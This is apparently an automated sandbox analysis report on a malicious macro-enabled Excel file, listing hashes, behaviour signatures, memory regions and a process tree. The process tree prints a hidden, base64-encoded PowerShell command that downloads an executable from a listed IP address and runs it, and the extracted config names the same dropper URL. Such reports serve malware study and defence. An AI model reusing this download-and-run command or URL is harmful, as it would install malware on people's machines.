Analysis

  • max time kernel
    119s
  • max time network
    69s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    24-11-2022 12:50

General

  • Target

    03700e0d02a6a1d76ecaa4d8307e40f76e07284646b3c45693054996f2e643d7.xlsm

  • Size

    24KB

  • MD5

    3e8ee32c4a5c24dbfe4e3ded8b8dc9e5

  • SHA1

    23d75638b70178df3c0fa6df8879d819dab2037d

  • SHA256

    03700e0d02a6a1d76ecaa4d8307e40f76e07284646b3c45693054996f2e643d7

  • SHA512

    199e4a39c8642c1ec7f508cbe7f14104e258352067486d43de8c14d7a82e9a9f6352576e9078c14faa5a37bba3ee8d4ab2a454be132750931b5f90c4524fecc9

  • SSDEEP

    384:EtJBybZuEU0m3jl1JPxyPqK56i7Df1uhxGGoetIUt8cpL4MxTTXBvk2Gf6BEspaQ:NbZFpwhWDfIh9jtIS4MxTN8ViBPL

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://72.167.223.219/MSDriverLoader.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\03700e0d02a6a1d76ecaa4d8307e40f76e07284646b3c45693054996f2e643d7.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:572
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\public\new.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1784
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -exec bypass -noP -w hidden -nonI -enc "KABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8ANwAyAC4AMQA2ADcALgAyADIAMwAuADIAMQA5AC8ATQBTAEQAcgBpAHYAZQByAEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABNAFMATABvAGEAZABlAHIALgBlAHgAZQAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJwBjADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAE0AUwBMAG8AYQBkAGUAcgAuAGUAeABlACcA"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:748

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\public\new.bat
    Filesize

    487B

    MD5

    e7e2de3e5afd922a8d48675b2cba818a

    SHA1

    c37f4ddc59ab903dd377dbe628a93663eb3ca3fd

    SHA256

    454afd017a31414dbdf4479225174243234ad5ec657ee6cf91a2e8bf4c709792

    SHA512

    6eecedf47ff1cd967b52d8308e0b798fef796a6f7a81a683335757878260013d5d1978ba9759592f96d4e50175ba5fc5ae43a6fc0fab550599cd276da3e4547e

  • memory/572-54-0x000000002F491000-0x000000002F494000-memory.dmp
    Filesize

    12KB

  • memory/572-55-0x0000000071131000-0x0000000071133000-memory.dmp
    Filesize

    8KB

  • memory/572-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/572-57-0x000000007211D000-0x0000000072128000-memory.dmp
    Filesize

    44KB

  • memory/572-58-0x0000000075F81000-0x0000000075F83000-memory.dmp
    Filesize

    8KB

  • memory/572-65-0x000000007211D000-0x0000000072128000-memory.dmp
    Filesize

    44KB

  • memory/748-61-0x0000000000000000-mapping.dmp
  • memory/748-63-0x000000006BCC0000-0x000000006C26B000-memory.dmp
    Filesize

    5.7MB

  • memory/748-64-0x000000006BCC0000-0x000000006C26B000-memory.dmp
    Filesize

    5.7MB

  • memory/1784-59-0x0000000000000000-mapping.dmp